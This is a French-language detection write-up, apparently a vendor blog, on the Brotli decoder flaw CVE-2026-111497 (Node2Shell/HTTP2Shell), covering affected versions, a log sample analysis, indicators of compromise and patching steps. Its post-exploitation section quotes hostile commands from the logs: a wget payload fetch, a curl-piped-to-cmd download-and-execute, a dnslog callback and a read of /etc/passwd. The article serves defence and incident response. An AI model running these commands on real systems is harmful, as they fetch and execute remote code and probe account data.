La détection de Node2Shell/HTTP2Shell est plus difficile qu’il n’y paraît, car la vulnérabilité n’est pas confinée à un seul produit. Node2Shell, également appelé HTTP2Shell, est CVE-2026-111497 : une écriture hors limites dans le décodeur Brotli C de Google, versions 1.0.3 à 1.2.0, avec un score CVSS 4.0 de 9.2. Étant donné que la faille se situe dans une bibliothèque de compression partagée, elle s’étend à Node.js, aux packages Python Brotli, à Bun, à curl, à Envoy, et à d’autres logiciels qui décodent Brotli.
Cet article couvre la détection de Node2Shell/HTTP2Shell en utilisant un échantillon de journal analysé dans LogTotal, un outil d’analyse des journaux qui fait correspondre les événements aux menaces connues. Ci-dessous, nous couvrons le contexte de la vulnérabilité, la source du journal, ce que LogTotal a rapporté et comment réagir.
Analyse de Node2Shell (HTTP2Shell)
Le code vulnérable se situe dans les versions 1.0.3 à 1.2.0 du décodeur Brotli C. Google, en tant qu’autorité de numérotation, l’a noté à 9.2 sous CVSS 4.0, tandis que Node.js le classe élevé. Pour lire correctement l’échantillon de journal, il est utile de savoir comment le bug est déclenché, comment la divulgation s’est déroulée et quelles versions et configurations logicielles sont exposées.
Détails de la vulnérabilité pour Node2Shell
Un flux Brotli qui déclarait un seul type de bloc puis changeait de blocs n’était pas rejeté, donc le décodage continuait dans un état invalide et écrivait au-delà d’un tampon. Tout processus qui décompresse des données Brotli contrôlées par un attaquant peut être touché, dans deux directions :
- Entrant : un corps de requête HTTP compressé en Brotli fabriqué envoyé à un serveur qui le décode.
- Sortant : une réponse fabriquée renvoyée à un client qui la récupère.
Le bug porte plusieurs noms. Node2Shell est apparu en premier parce que Node.js l’a divulgué et corrigé en premier. HTTP2Shell reflète qu’il atteint toute pile qui décode Brotli sur HTTP, et certaines couvertures utilisent également Python2Shell et Broccoli2Shell.
Chronologie de la divulgation et de l’exploitation
| Date (2026) | Événement |
| 27 octobre | CISA a ajouté le CVE à son catalogue KEV ; les agences fédérales américaines doivent corriger d’ici le 10 novembre |
| 26 octobre | Exploitation dans cet échantillon enregistrée sur app-node-01 |
| 25 octobre | Microsoft a publié des corrections hors cycle pour .NET |
| 22 octobre | CVE publié ; exécution de code montrée publiquement sur Node.js 24.22.0 ; Bun 1.4.4 publié |
| 21 octobre | Divulgation et versions corrigées de Node.js ; Brotli 1.0.10, 1.1.1, et 1.2.1 publiées |
| 27 février | Correction engagée dans google/brotli sans publication ni avis |
Le bug lui-même a été transporté dans Brotli 1.0.3 en mars 2018. Khai Tran et Sylvie Mayer de OpenAI Codex Security l’ont signalé à Node.js. Une preuve de concept publique existe, Imperva et ELLIO ont tous deux reproduit l’exécution de code contre les builds officiels de Node.js, et des scanners qui cartographient quels hôtes décompressent Brotli sont déjà en utilisation. L’exécution de code n’a pas été montrée pour les packages Python, bien qu’ils plantent sur des entrées malveillantes, comme le montre le crash web-prod-01 dans cet échantillon.
Versions et corrections affectées par Node2Shell
| Composant | Corrigé dans |
| Node.js 26.x / 24.x / 22.x | 26.12.1 / 24.22.1 / 22.23.4 |
| Node.js 20.x et d’autres lignes en fin de vie | Pas de correctif ; passer à une ligne supportée |
| Bun | 1.4.4 |
| Bibliothèque Brotli de Google | 1.0.10, 1.1.1, 1.2.1 |
| PyPI brotli / brotlicffi | 1.2.1 / 1.2.1.0 |
| Runtime .NET 8 / 9 / 10 | 8.0.33 / 9.0.22 / 10.0.14 |
| Envoy | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0 |
| Istio | 1.29.9, 1.30.6, 1.31.2 |
| Java brotli4j / Ruby brotli gem | 1.24.0 / 0.9.1 |
Une version vulnérable n’est exposée que si les données de l’attaquant peuvent atteindre le décodeur. Dans Node.js, ce chemin existe via Express 5, body-parser 2.x, les parseurs de corps de Koa, @fastify/compress avec la décompression des requêtes, fetch(), et les appels direct node:zlib Brotli. En Python, requests, httpx, aiohttp, et Scrapy utilisent le package brotli ou brotlicffi chaque fois qu’il est installé. En .NET, la décompression Brotli est désactivée par défaut, et Envoy et Istio ne sont exposés que si le décompresseur Brotli est activé. curl décode Brotli uniquement avec –compressed, via la libbrotli du système, donc il a besoin d’un package de distribution corrigé ; Debian et Red Hat en ont expédié des corrects.
Source et collecte du journal
| Attribut | Valeur |
| Fichier | Node2Shell_HTTP2Shell_sample-sanitized.jsonl |
| Événements | 11 |
| Fenêtre temporelle | 26 octobre 2026, 11:30:55 à 11:33:05 UTC |
| Schéma | Style ECS |
| Sources | 4 messages de noyau Linux en texte brut et de core dump systemd ; 7 événements de création de processus Microsoft Defender for Endpoint |
Hôtes dans l’échantillon
Trois hôtes apparaissent dans les données brutes, sur deux systèmes d’exploitation. Chacun montre une partie différente de l’exposition de Node2Shell.
| Hôte | OS | Environnement d’exécution | Activité dans les journaux |
| app-node-01 | Linux | Application Node.js /opt/app/server.js | Crash de Brotli, puis commandes post-exploitation |
| web-prod-01 | Linux | Processus Python | Crash dans _brotli.cpython-311 |
| win-dev-01 | Windows | Application Node.js C:Usersdevuserappserver.js | Télécharger et exécuter, PowerShell masqué |
Détecter Node2Shell (HTTP2Shell)
LogTotal a traité 11 lignes en 5,3 secondes et a mis en correspondance 23 règles avec 10 lignes. Il a formé 2 chaînes, en a rapporté 1, et en a filtré 1 à l’étape de vérification AI.
| Champ du verdict | Résultat |
| Verdict | Suspicieux, nécessite une enquête |
| Gravité | Élevé |
| Confiance | Moyenne |
La chaîne rapportée est Node2Shell / HTTP2Shell est une vulnérabilité critique (CVE-2026-111497): Élevée, correspondance à 100 %, 2 règles activées. Elle se situe sur un hôte pseudonymisé entre 11:30 et 11:31 UTC, et cette fenêtre et les preuves correspondent à app-node-01.
Exploitation : le crash du décodeur Brotli
La règle « Tentative d’exploitation possible de CVE-2026-111497 (HTTP2Shell / Node2Shell) – Crash natif du décodeur Brotli » correspond au plantage du nœud dans libbrotlidec.so.1.1.0. La pile du core dump est dominée par BrotliDecoderDecompressStream.
Le rapport associe ce crash au déni de service (T1499.004), qui est d’où vient l’étape d’Impact. Le dernier coup de la règle, à 11:33, tombe sur le crash de python3 dans _brotli.cpython-311 sur web-prod-01, qui montre la même bibliothèque échouant dans un deuxième environnement d’exécution.
Post-exploitation sur Linux
« Processus enfants NodeJS suspects [Linux] » a été activé 4 fois alors que le nœud /opt/app/server.js a engendré :
- curl récupérant le script de configuration du mineur C3Pool XMRig public
- wget http://198.51.100.23:3000/s.sh
- ping -c 1 5axzi7.dnslog.cn, une vérification de rappel hors bande
- cat /etc/passwd
Post-exploitation sur Windows, en dehors de la chaîne
La moitié Windows de l’échantillon se situe en dehors de la chaîne rapportée mais mérite la même attention. Sur win-dev-01, node.exe a engendré cmd.exe /c « curl -s https://198.51.100.23/api/w | cmd », un modèle de téléchargement et d’exécution, puis un powershell.exe masqué exécutant whoami.
Les règles qui ont été activées par cette activité incluent Processus enfants NodeJS suspects [Windows], Lecture des contenus depuis Stdin via Cmd.EXE, et Cmdlets Powershell suspects. La chaîne filtrée, Meet AvisLoader : A Windows Loader Built to Outlast a Takedown (Élevée), a été motivée par les exécutions curl.
Indicateurs de compromission (IOC) de Node2Shell dans cet échantillon
| Indicateur | Type | Contexte |
| 198.51.100.23 | IP | Hôte de charge utile pour s.sh (port 3000) et /api/w (HTTPS) |
| http://198.51.100.23:3000/s.sh | URL | Script récupéré par wget sur app-node-01 |
| https://198.51.100.23/api/w | URL | Conduit à cmd sur win-dev-01 |
| 5axzi7.dnslog.cn | Domaine | Rappel hors bande via ping |
| Script de configuration du mineur C3Pool XMRig | Téléchargement | Récupéré par curl depuis le nœud |
| libbrotlidec.so.1.1.0 avec BrotliDecoderDecompressStream sur la pile | Signature de crash | Tentative d’exploitation de Node.js |
| Crash de _brotli.cpython-311 | Signature de crash | Tentative d’exploitation de Python |
| node / node.exe engendrant curl, wget, ping, cat, cmd.exe, powershell.exe | Lignée de processus | Post-exploitation |
Utilisation des résultats de LogTotal dans le triage de Node2Shell
Commencer par la chaîne rapportée pour confirmer l’exploitation sur app-node-01, puis travailler à travers chaque découverte en dehors de la chaîne. Dans cet échantillon, les règles hors chaîne et la chaîne filtrée pointent vers deux hôtes supplémentaires affectés, web-prod-01 et win-dev-01.
Atténuation de Node2Shell (HTTP2Shell)
Appliquer un correctif à Node.js seul ne résout pas Node2Shell, car la faille se situe dans le décodeur Brotli partagé. Chaque environnement d’exécution ou proxy qui décompresse Brotli a besoin d’une mise à jour, et chaque hôte dans l’échantillon doit être dans le champ d’application.
Corriger chaque consommateur Brotli
- Recherchez des services sur Node.js en dessous de 22.23.4, 24.22.1, ou 26.12.1, sur une ligne Node.js en fin de vie, ou sur Bun en dessous de 1.4.4, y compris les images de base et les hôtes de construction.
- Corrigez d’abord les services qui décompressent les corps de requête (Express 5, body-parser 2.x, les parseurs de corps de Koa, @fastify/compress), récupèrent des URL fournies par l’utilisateur, ou passent des données non fiables aux fonctions Brotli node:zlib.
- Mettez à jour l’environnement d’exécution, puis redémarrez les processus et reconstruisez les images de conteneur, y compris les applications .NET autonomes et les binaires construits avec bun build –compile.
- Mettez à jour PyPI brotli vers 1.2.1 et brotlicffi vers 1.2.1.0, et mettez à jour le runtime .NET, Envoy, Istio, et les packages de distribution brotli.
- Quittez Node.js 20 et autres lignes en fin de vie, qui ne recevront aucune correction.
- Jusqu’à ce que les correctifs soient disponibles, rejetez Content-Encoding: br au niveau du WAF ou du proxy, en le faisant correspondre sans tenir compte de la casse et à l’intérieur des listes telles que « gzip, br ». Cela ne couvre pas les réponses Brotli lues par fetch().
Réponse recommandée de LogTotal
- Isolez l’hôte.
- Collectez des données de processus, système, et réseau pour 11:30–11:33 UTC.
- Vérifiez le niveau de correctif de Node.js : 22.23.4, 24.22.1, ou 26.12.1.
- Supprimez les binaires non autorisés.
- Rejetez Content-Encoding: br non fiable au WAF.
- Exécutez Node.js sans privilèges.
- Désactivez la décompression Brotli automatique lorsque c’est possible.
Étapes supplémentaires à partir des preuves brutes
- Élargissez le champ d’application à win-dev-01 et web-prod-01, pas seulement à app-node-01.
- Bloquer à la sortie 198.51.100.23 et *.dnslog.cn.
- Vérifiez la présence d’un mineur : entrées cron, unités systemd, et un processus xmrig en cours d’exécution.
- Supposez que /etc/passwd a été lu et examinez les comptes en conséquence.
- Chassez pour node, node.exe, ou python3 engendrant des shells, téléchargeurs, ou outils réseau.
Surveillance continue de Node2Shell
Transférez les messages du noyau et de core dump systemd avec les événements de processus EDR. Dans cet échantillon, la pile de core dump était la seule preuve directe d’exploitation, et les événements EDR ont transporté tout ce qui a suivi.
FAQ
Qu’est-ce que Node2Shell (HTTP2Shell) et comment cela fonctionne-t-il ?
Node2Shell, également appelé HTTP2Shell, est CVE-2026-111497 : une écriture hors limites dans le décodeur Brotli C de Google, versions 1.0.3 à 1.2.0, avec un score CVSS 4.0 de 9.2. Des données Brotli fabriquées peuvent planter n’importe quel processus qui les décompresse, et dans Node.js, il a été démontré qu’elles peuvent donner lieu à une exécution de code à distance. La section d’analyse ci-dessus explique comment cela fonctionne.
Quand Node2Shell a-t-il été découvert pour la première fois ?
Khai Tran et Sylvie Mayer de OpenAI Codex Security ont trouvé le bug et l’ont signalé à Node.js. Il remonte à Brotli 1.0.3 en mars 2018. Une correction a été engagée en amont le 27 février 2026 sans publication, et Node.js a divulgué la faille le 21 octobre 2026.
Quel est l’impact de Node2Shell sur les systèmes ?
Le crash lui-même est un déni de service, et l’activité de suivi montre une exécution de code dans le contexte du processus vulnérable. Dans cet échantillon, cela signifiait un téléchargement de script de configuration de cryptomineur, une récupération de charge utile, un rappel DNS hors bande, une lecture de /etc/passwd, et un téléchargement et exécution sur un hôte Windows.
Node2Shell peut-il encore m’affecter en 2026 ?
Oui. CVE-2026-111497 est exploité dans la nature et figure dans le catalogue KEV de CISA. Node.js, Bun, Python, .NET et les déploiements proxy non corrigés restent exposés, et Node.js 20 et d’autres lignes en fin de vie ne recevront jamais de correction.
Comment puis-je me protéger de Node2Shell ?
Appliquez les correctifs à Node.js et à tout autre consommateur de Brotli, redémarrez les processus, et reconstruisez les images. D’ici là, rejetez Content-Encoding: br au WAF ou proxy et désactivez la décompression Brotli automatique lorsque c’est possible. La section d’atténuation liste les étapes complètes.
Comment puis-je détecter Node2Shell ?
Recueillez les journaux kernel et systemd-coredump ainsi que les événements de processus EDR de chaque hôte Node.js et Python. Alertez sur les crashes du décodeur Brotli et sur les environnements d’exécution engendrant des shells ou des téléchargeurs. LogTotal mappe ces événements à la chaîne Node2Shell, mais passez également en revue les découvertes en dehors de la chaîne, car elles ont mis en évidence deux hôtes supplémentaires ici.